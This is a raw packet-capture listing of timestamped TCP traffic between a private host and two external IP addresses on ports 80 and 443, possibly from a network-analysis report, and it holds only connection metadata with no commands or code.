Dec 12, 2024 14:26:59.425899982 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.425981045 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.426028967 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.426064968 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.426712990 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.426757097 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.427478075 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.427516937 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.427597046 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.427608967 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.427637100 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.427764893 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.428412914 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.428456068 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.428512096 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.428550005 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.429271936 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.429310083 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.429347992 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.429379940 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.430162907 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.430232048 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.430236101 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.430279970 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.431020975 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.431031942 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.431071997 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.431907892 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.432152987 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.432221889 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.432260036 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.432734013 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.432771921 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.432842970 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.432881117 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.433598042 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.433645010 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.433828115 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.433871031 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.434451103 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.434495926 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.434525013 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.434566975 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.435290098 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.435333967 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.435410976 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.435514927 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.436141014 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.436181068 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.436346054 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.436379910 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.437027931 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.437041044 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.437068939 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.437124968 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.437804937 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.437848091 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.480731010 CET	443	49877	149.154.167.99	192.168.2.4
Dec 12, 2024 14:26:59.480762005 CET	443	49877	149.154.167.99	192.168.2.4
Dec 12, 2024 14:26:59.480791092 CET	443	49877	149.154.167.99	192.168.2.4
Dec 12, 2024 14:26:59.480809927 CET	49877	443	192.168.2.4	149.154.167.99
Dec 12, 2024 14:26:59.480818987 CET	443	49877	149.154.167.99	192.168.2.4
Dec 12, 2024 14:26:59.480846882 CET	443	49877	149.154.167.99	192.168.2.4
Dec 12, 2024 14:26:59.480875969 CET	49877	443	192.168.2.4	149.154.167.99
Dec 12, 2024 14:26:59.480997086 CET	49877	443	192.168.2.4	149.154.167.99
Dec 12, 2024 14:26:59.480997086 CET	49877	443	192.168.2.4	149.154.167.99
Dec 12, 2024 14:26:59.584363937 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.584472895 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.584511042 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.584511042 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.584815979 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.584965944 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.584997892 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.584997892 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.585802078 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.585843086 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.585907936 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.586534977 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.586565971 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.586565971 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.586612940 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.587332010 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.587454081 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.587466955 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.587507010 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.587507010 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.588274956 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.588310003 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.588381052 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.588412046 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.589154005 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.589195013 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.589199066 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.589278936 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.589952946 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.590014935 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.590255022 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.590293884 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.590850115 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.591078997 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.591181040 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.591217041 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.591697931 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.591737032 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.591945887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.591981888 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.592535973 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.592730999 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.592762947 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.592762947 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.593647957 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.593683958 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.593758106 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.593796968 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.594640017 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.594687939 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.594695091 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.594734907 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.595544100 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.595662117 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.595696926 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.595696926 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.596208096 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.596246004 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.596343994 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.596378088 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.596916914 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.596966028 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.597084045 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.597125053 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.597677946 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.597712994 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.597733974 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.597774982 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.598609924 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.598655939 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.598684072 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.599363089 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.599443913 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.599486113 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.599528074 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.599889994 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.600316048 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.600363970 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.600593090 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.600629091 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.601139069 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.601402998 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.601439953 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.601439953 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.601957083 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.602087975 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.602123976 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.602123976 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.602818012 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.602901936 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.602940083 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.603180885 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.603672028 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.603712082 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.603739977 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.604578972 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.604619026 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.604619026 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.604629040 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.605703115 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.605742931 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.605742931 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.605889082 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.606437922 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.606473923 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.606473923 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.606544971 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.607229948 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.607266903 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.607266903 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.607271910 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.607331991 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.608098984 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.608136892 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.608330011 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.608916044 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.608952045 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.608952045 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.609004974 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.609724998 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.609874964 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.609945059 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.610158920 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.611160040 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.611196995 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.611196995 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.611291885 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.611330032 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.612092972 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.612133026 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.612437010 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.612476110 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.613102913 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.613193035 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.613224983 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.613224983 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.613996029 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.614044905 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.614140034 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.615005970 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.615046024 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.615046024 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.615195990 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.615331888 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.615881920 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.615917921 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.616127014 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.616662025 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.616664886 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.616674900 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.616724968 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.616735935 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.617636919 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.617676020 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.617744923 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.617871046 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.618427992 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.618442059 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.618480921 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.618480921 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.619121075 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.619158983 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.619229078 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.619266987 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.619865894 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.619905949 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.619976997 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.620376110 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.620701075 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.620714903 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.620738983 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.620784044 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.621289968 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.621325970 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.621517897 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.621551991 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.622080088 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.622323036 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.622356892 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.622356892 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.622769117 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.622828007 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.622860909 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.622860909 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.623661041 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.623703003 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.623739004 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.623739004 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.624367952 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.624456882 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.624490976 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.624490976 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.625354052 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.625365973 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.625466108 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.626138926 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.626163006 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.626202106 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.626202106 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.627007008 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.627043009 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.627080917 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.627273083 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.627974033 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.628230095 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.628540993 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.628743887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.628756046 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.628777981 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.628777981 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.628946066 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.629405975 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.629440069 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.776573896 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.776607037 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.776648045 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.776680946 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.777015924 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.777053118 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.777121067 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.777302027 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.777812004 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.777978897 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.778074026 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.778145075 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.778677940 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.778790951 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.778877974 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.778918982 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.779527903 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.779567957 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.779606104 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.779748917 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.780405045 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.780427933 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.780481100 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.780481100 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.781270027 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.781305075 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.781327009 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.781389952 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.782191038 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.782222986 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.782253981 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.782293081 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.782974958 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.783020020 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.783045053 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.783058882 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.783818007 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.783962011 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.783982038 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.784002066 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.784818888 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.784831047 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.784863949 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.784881115 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.785556078 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.785598993 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.785634995 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.785634995 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.786374092 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.786412001 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.786453962 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.786509037 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.787260056 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.787307978 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.787398100 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.787441969 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.788115978 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.788170099 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.788214922 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.788319111 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.789083958 CET	80	49878	31.41.244.11	192.168.2.4
